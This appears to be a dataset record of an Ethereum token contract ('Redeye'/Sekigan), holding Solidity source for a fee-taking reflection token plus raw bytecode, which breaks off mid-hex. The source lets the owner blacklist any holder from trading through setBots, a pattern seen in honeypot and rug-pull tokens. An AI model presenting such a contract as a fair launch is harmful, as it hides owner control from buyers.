63ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460ff16600a0a6313de43550281565b600481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4957600080fd5b6000811415610bd057600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610bcb57600080fd5b610c33565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610c3257600080fd5b5b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d47576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ddb565b610d5a838261166d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f474c58000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110b057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110fd57600080fd5b61114e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061132382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115ad57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561167b57fe5b818303905092915050565b6000818301905082811015151561169957fe5b809050929150505600a165627a7a7230582090491fbd661bcc9b4a0e468d00f716516b3727419ed061766ef411f1fdc375910029
|
{"success": true, "error": null, "results": {}}
| 3,731 |
0x7cc5fb4bfe8d1b74e8796dbabfb52a721d993c61
|
/**
*Submitted for verification at Etherscan.io on 2021-06-06
*/
/*
Most contagious token just by looking, fair launch no team token
Brought to you by the team at DegenMeme DEV
https://t.me/DegenMemeDev
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Redeye is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Red_EYE";
string private constant _symbol = 'Sekigan';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061161e565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117cd565b6040518082815260200191505060405180910390f35b60606040518060400160405280600781526020017f5265645f45594500000000000000000000000000000000000000000000000000815250905090565b600061076b610764611854565b848461185c565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a53565b6108548461079f611854565b61084f85604051806060016040528060288152602001613d0c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611854565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227e9092919063ffffffff16565b61185c565b600190509392505050565b610867611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611854565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf8161233e565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612439565b90505b919050565b610bd5611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f53656b6967616e00000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611854565b8484611a53565b6001905092915050565b610ddf611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611854565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124bd565b50565b610fa9611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061185c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018